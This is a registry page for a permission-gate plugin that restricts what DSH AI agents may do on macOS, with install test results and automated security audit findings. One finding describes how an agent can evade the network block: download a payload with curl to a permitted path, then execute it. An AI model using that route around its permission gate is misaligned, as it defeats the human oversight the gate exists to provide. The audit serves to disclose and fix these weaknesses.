@ChaoJie0/dsh-tm-guard avatar

@ChaoJie0/dsh-tm-guard

Zero-intervention permission gate for DSH agents on macOS — active on install; reversible writes auto-approved and snapshotted, network/installs/process control/sensitive reads blocked and fully audited.

PluginSecurityStorageDesktopNetworkFileStorage
Verification
L5 · Run tested
Verified
Risk
LowRisk
Health
Active
Trust
Gold

Install verification: runtime verified (L5) · tested on dsh 0.2.1-rc.2 · last checked Install verification details →

Install verification badge dsh 0.2.1-rc.2

What it doesAI

macOS permission gate for DSH agents: rollback-able local writes pass automatically, while network, installs and sensitive reads are blocked and audited.

  • Auto-allows reversible local file writes to avoid prompt fatigue
  • Blocks network access, installs and sensitive reads by default
  • Audits every blocked action with a rollback-able backup trail
securityAIfileAIstorageAI

Capability tags are AI-inferred or rule-extracted from the README (see badge) — vocabulary-limited, not install-verified. AI = inferred; README = literal keyword from the readme.

Installation

dsh plugin --profile web add dsh-tm-guard
verified 0.2.7

Install method: GitHub · runtime verified (L5)

Verification & Compatibility

Grouped by plugin version: each card lists the dsh versions actually tested against that artifact version and their install verdicts (L5 wins). Untested combinations are omitted — absence means untested, never assumed compatible. L1–L3 are a plugin-level static archive (independent of the dsh version — the same verdict on every dsh row): they sit in each row's level grid next to L4/L5, marked "static", while their evidence is stored once per plugin inside that row's "checks & evidence" instead of being duplicated per version.

External credentials (plugin-level): none detected

Declared DSH compatibilityfrom package.json · peerDependencies
author declared no dsh version requirement

○ The author declares no dsh version requirement — install is not blocked by version.

Install compatibility matrix (rows = plugin versions〔latest 5〕, columns = dsh versions〔latest 5〕)
At-a-glance → evidence in the cards below
plugin \ dshdsh 0.2.1-rc.2
current
dsh 0.2.1-alpha.4dsh 0.2.1-alpha.2
0.2.7✓✓·
0.2.5··✓
v0.2.5···
Install compatibility (by plugin version, dsh versions within)
Legend:✓ L5 runtime verified○ ecosystem plugin◼ ecosystem app✗ failed
0.2.7npm✓ 2 runtime-verified2026-10-20

dsh-tm-guard

✓dsh 0.2.1-rc.2current2026-10-20L5 · runtime verified
Environment & artifact
  • • Node.js: v24.14.0
  • • DSH: 0.2.1-rc.2
  • • Plugin artifact: npm · dsh-tm-guard@0.2.7
Levels (L1–L3 plugin-level static archive · L4/L5 newest real verdicts for this combination)
L1 static
Passed
L2 static
Passed
L3 static
Passed
L4 sandbox
Passed
L5 runtime
Passed
Install + runtime smoke verified in the dsh sandbox — installs and runs
L5 · runtime verified · valid for dsh 0.2.1-rc.2

ID: dsh-tm-guard@0.2.7@dsh0.2.1-rc.2 · profile: l4-sandbox

Issued: 2026-10-20 · expires: 2026-10-27

View checks & evidence
L1 · Found✓ Passed
Defaulted from L3✓ Passed
defaulted to passed — L3 install spec passed (full-registry L3 sweep policy)
L2 · Structured✓ Passed
Defaulted from L3✓ Passed
defaulted to passed — L3 install spec passed (full-registry L3 sweep policy)
L3 · Install spec✓ Passed
Install command parsed✓ Passed
Source: registry verification · Method: install spec parse · Captured 2026-10-18
DSH version declared✓ Passed
Source: registry verification · Method: DSH version declaration · Captured 2026-10-18
L4 · Install tested✓ Passed
Install executed in confined sandbox✓ Passed
Source: Windows ACL sandbox · Method: sandbox install run · Captured 2026-10-20
spec dsh-tm-guard · channel npm package · outcome ran · exit 0
check took: 2.5s
Install succeeded✓ Passed
Source: Windows ACL sandbox · Method: sandbox install run · Captured 2026-10-20
spec dsh-tm-guard · channel npm package · outcome ran · exit 0
check took: 2.5s
Installed artifact confirmed✓ Passed
Source: Windows ACL sandbox · Method: sandbox install run · Captured 2026-10-20
spec dsh-tm-guard · channel npm package · outcome ran · exit 0
check took: 2.5s
L5 · Run tested✓ Passed

active in loader tree (150 entries)

Sandbox install passed✓ Passed
Source: Windows ACL sandbox · Method: sandbox install run · Captured 2026-10-20
spec dsh-tm-guard · install mode reused L4 scratch
check took: 92ms
Web boot ready✓ Passed
Source: DSH runtime · Method: web boot · Captured 2026-10-20
ready line dsh web: http://127.0.0.1:50780/?token=…
HTTP endpoint served✓ Passed
Source: DSH runtime · Method: HTTP request · Captured 2026-10-20
path / · HTTP 200 · took 92ms
Plugin active in inventory✓ Passed
Source: DSH runtime · Method: plugin inventory query · Captured 2026-10-20
verdict active · entries 150
match: include:tm-guard · dsh-tm-guard · phase active
phases: active 122 · null 28

L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.

✓dsh 0.2.1-alpha.42026-10-18L5 · runtime verified
Environment & artifact
  • • Node.js: v24.14.0
  • • DSH: 0.2.1-alpha.4
  • • Plugin artifact: npm · dsh-tm-guard@0.2.7
Levels (L1–L3 plugin-level static archive · L4/L5 newest real verdicts for this combination)
L1 static
Passed
L2 static
Passed
L3 static
Passed
L4 sandbox
Passed
L5 runtime
Passed
Install + runtime smoke verified in the dsh sandbox — installs and runs
L5 · runtime verified · valid for dsh 0.2.1-alpha.4

ID: dsh-tm-guard@0.2.7@dsh0.2.1-alpha.4 · profile: l4-sandbox

Issued: 2026-10-18 · expires: 2026-10-25

View checks & evidence
L1 · Found✓ Passed
Defaulted from L3✓ Passed
defaulted to passed — L3 install spec passed (full-registry L3 sweep policy)
L2 · Structured✓ Passed
Defaulted from L3✓ Passed
defaulted to passed — L3 install spec passed (full-registry L3 sweep policy)
L3 · Install spec✓ Passed
Install command parsed✓ Passed
Source: registry verification · Method: install spec parse · Captured 2026-10-18
DSH version declared✓ Passed
Source: registry verification · Method: DSH version declaration · Captured 2026-10-18
L4 · Install tested✓ Passed
Install executed in confined sandbox✓ Passed
Source: Windows ACL sandbox · Method: sandbox install run · Captured 2026-10-18
spec dsh-tm-guard · channel npm package · outcome ran · exit 0
check took: 6.3s
Install succeeded✓ Passed
Source: Windows ACL sandbox · Method: sandbox install run · Captured 2026-10-18
spec dsh-tm-guard · channel npm package · outcome ran · exit 0
check took: 6.3s
Installed artifact confirmed✓ Passed
Source: Windows ACL sandbox · Method: sandbox install run · Captured 2026-10-18
spec dsh-tm-guard · channel npm package · outcome ran · exit 0
check took: 6.3s
Resolved version recorded✓ Passed
Source: Windows ACL sandbox · Method: sandbox install run · Captured 2026-10-18
spec dsh-tm-guard · channel npm package · outcome ran · exit 0
check took: 6.3s
L5 · Run tested✓ Passed

active in loader tree (150 entries)

Sandbox install passed✓ Passed
Source: Windows ACL sandbox · Method: sandbox install run · Captured 2026-10-18
spec dsh-tm-guard · install mode reused L4 scratch
check took: 255ms
Web boot ready✓ Passed
Source: DSH runtime · Method: web boot · Captured 2026-10-18
ready line dsh web: http://127.0.0.1:54947/?token=…
HTTP endpoint served✓ Passed
Source: DSH runtime · Method: HTTP request · Captured 2026-10-18
path / · HTTP 200 · took 255ms
Plugin active in inventory✓ Passed
Source: DSH runtime · Method: plugin inventory query · Captured 2026-10-18
verdict active · entries 150
match: include:tm-guard · dsh-tm-guard · phase active
phases: active 122 · null 28

L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.

0.2.5npm✓ 1 runtime-verified2026-10-14

dsh-tm-guard

✓dsh 0.2.1-alpha.22026-10-14L5 · runtime verified
Environment & artifact
  • • Node.js: v24.14.0
  • • DSH: 0.2.1-alpha.2
  • • Plugin artifact: npm · dsh-tm-guard@0.2.5
Levels (L1–L3 plugin-level static archive · L4/L5 newest real verdicts for this combination)
L1 static
Passed
L2 static
Passed
L3 static
Passed
L4 sandbox
Passed
L5 runtime
Passed
Install + runtime smoke verified in the dsh sandbox — installs and runs
L5 · runtime verified · valid for dsh 0.2.1-alpha.2

ID: dsh-tm-guard@0.2.5@dsh0.2.1-alpha.2 · profile: l4-sandbox

Issued: 2026-10-14 · expires: 2026-10-21

View checks & evidence
L1 · Found✓ Passed
Defaulted from L3✓ Passed
defaulted to passed — L3 install spec passed (full-registry L3 sweep policy)
L2 · Structured✓ Passed
Defaulted from L3✓ Passed
defaulted to passed — L3 install spec passed (full-registry L3 sweep policy)
L3 · Install spec✓ Passed
Install command parsed✓ Passed
Source: registry verification · Method: install spec parse · Captured 2026-10-18
DSH version declared✓ Passed
Source: registry verification · Method: DSH version declaration · Captured 2026-10-18
L4 · Install tested✓ Passed
Install executed in confined sandbox✓ Passed
Source: Windows ACL sandbox · Method: sandbox install run · Captured 2026-10-14
spec dsh-tm-guard · channel npm package · outcome ran · exit 0
check took: 3.5s
Install succeeded✓ Passed
Source: Windows ACL sandbox · Method: sandbox install run · Captured 2026-10-14
spec dsh-tm-guard · channel npm package · outcome ran · exit 0
check took: 3.5s
Installed artifact confirmed✓ Passed
Source: Windows ACL sandbox · Method: sandbox install run · Captured 2026-10-14
spec dsh-tm-guard · channel npm package · outcome ran · exit 0
check took: 3.5s
L5 · Run tested✓ Passed

active in loader tree (150 entries)

Sandbox install passed✓ Passed
Source: Windows ACL sandbox · Method: sandbox install run · Captured 2026-10-14
spec dsh-tm-guard · install mode reused L4 scratch
check took: 261ms
Web boot ready✓ Passed
Source: DSH runtime · Method: web boot · Captured 2026-10-14
ready line dsh web: http://127.0.0.1:49707/?token=…
HTTP endpoint served✓ Passed
Source: DSH runtime · Method: HTTP request · Captured 2026-10-14
path / · HTTP 200 · took 261ms
Plugin active in inventory✓ Passed
Source: DSH runtime · Method: plugin inventory query · Captured 2026-10-14
verdict active · entries 150
match: include:tm-guard · dsh-tm-guard · phase active
phases: active 122 · null 28

L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.

v0.2.5github2026-10-14

https://github.com/ChaoJie0/dsh-tm-guard

No runtime install test for this version (static scan only) — compatibility unknown, never assumed.

Author badges

Embed the official badges in your README to showcase security & install-test status:

dsh.so risk
`[![dsh.so risk](https://www.dsh.so/badge/dsh-tm-guard.svg)](https://www.dsh.so/artifact/dsh-tm-guard/)`
dsh 0.2.1-rc.2 install verified
`[![dsh.so install · dsh 0.2.1-rc.2](https://www.dsh.so/badge/install/dsh-tm-guard@0.2.1-rc.2.svg)](https://www.dsh.so/artifact/dsh-tm-guard/)`

Security Report

Two automated layers, neither a manual review: a static scan (per-plugin rule checks) and a model-driven dynamic security audit that covers only the subset static-flagged at warn or above and never executes plugin code.

dsh-tm-guardAutomated review · daily

Static low, dynamic medium — stricter wins → overall medium.

static low→dynamic medium→overall medium
0 critical·0 high
mediumoverall · medium
1static scan · vet primaryvet AST static analysis (npm artifact or git source)
plugin versionv0.2.7dsh manifest
scanned versionv0.2.7git2026-10-21
current versionv0.2.7same version
vet verdictclean · npm

Vet is an AST static scan (npm artifact or git source).

show static findings (5)
  • criticalsshWrite · destructivesrc/baseline-report.ts:273

    ' 匹配语义:每个条目是**前缀**(`~/.ssh` 覆盖 `~/.ssh/id_rsa`),读和写两个方向都被拒绝。',

  • criticalshellExec · shellsrc/index.ts:1043

    gitStatus = execSync('git status --short', {

  • criticalshellExec · shellsrc/index.ts:1055

    const out = execSync('tmutil listlocalsnapshots /', {

  • warningshellExec · shellsrc/git.ts:99

    const stdout = execFileSync('git', ['rev-parse', '--show-toplevel'], {

  • warningchildProcessImport · code-execsrc/tm.ts:9

    import { execFile } from 'node:child_process'

2model reads redacted source context · never executes plugin code
highest grademedium
merged intooverall medium
audited at2026-10-16
findings0 critical·0 high1 medium / 3 low hidden
show 4 audit findings
  • mediumcurl read-only download is reclassified as file_write, bypassing denyNetwork (fetch-then-execute)lib/classifier.js

    With the default denyNetwork=true, `curl -o <protected-or-temp-path> https://host/payload.sh` never reaches the network branch: it is returned as file_write and allowed whenever the output path is protected (default: process.cwd()) or in /tmp (temp paths are exempt in decide()). The fetched file can then be executed, because plain `bash payload.sh` / `python3 payload.py` classify as local_exec and are allowed; the static-egress scan only runs for local_exec and never inspects the downloaded artifact. The injected system prompt claims 'Any network access: curl, wget ... is BLOCKED', so the guar

  • lowAudit log falls back to shared /tmp/.tm-guard without ownership or symlink checkslib/audit.js

    When the workspace .tm-guard directory cannot be created (read-only workspace), the audit log, its rotation lock and the turn reports move to the world-writable, predictable path /tmp/.tm-guard. The directory is created with default permissions and neither existsSync nor appendFileSync rejects symlinks, so on a shared machine another local user can pre-create that directory (or an audit.jsonl symlink) and read the audit records — which include the raw tool arguments recorded in index.js (`args,`) and may contain secrets or command text — or cause the appends to be redirected through a symlink

  • lowautoApprove defaults to true and auto-answers every approval request with allowed-oncelib/index.js

    By default the plugin removes the human confirmation step for everything that reaches the approval waterfall, on the assumption that the prepended tools/pre-execute hook already classified and allowed the call. That assumption is an ordering property of the host's listener list which the plugin explicitly cannot verify (its own comment says so), so any other permission plugin or host path that registers earlier, or that reaches approval without passing through the prepended hook, gets silently auto-approved. This is documented and warned about at startup, hence low, but it means the gate is th

  • lowAny tool name starting with tm_ is unconditionally classified as read and allowedlib/classifier.js

    Tool classification is keyed on a name prefix rather than on the registered tool identity, and index.js likewise skips the git/TM rollback net for names starting with `tm_`. Any tool that reaches the gate with a tm_-prefixed name (e.g. registered by another bundle, or a host tool with a coincidental name) is allowed with no path check, no sensitive-read check and no rollback net. Reachability outside this plugin's own tools is limited — other in-process plugins are already trusted native code — so impact is bounded, but the check is a name-based trust decision rather than an identity one.

Defensive permission-gate plugin; static-scan criticals are its own fixed commands and deny-tables, but a curl download exemption weakens denyNetwork and the /tmp audit fallback plus default auto-approve warrant a warning.

Rule: the dynamic audit can only raise risk, never lower it (raise-only, never an exemption); a wrong raise is withdrawn by human review and the tier falls back to the static verdict. Overall verdict = the stricter of the two layers.

Disclaimer: the static scan and the dynamic security audit are both automated analysis, not a security guarantee. Always review what you install.

Activity

Last commit 2026-10-14 · activity: Active

• Repo created: 2026-09-16

• Stars: ★ 0 · Forks: 0

• Health: Active — committed within last 30 days

Source

GitHub: github.com/ChaoJie0/dsh-tm-guard

Was this page helpful?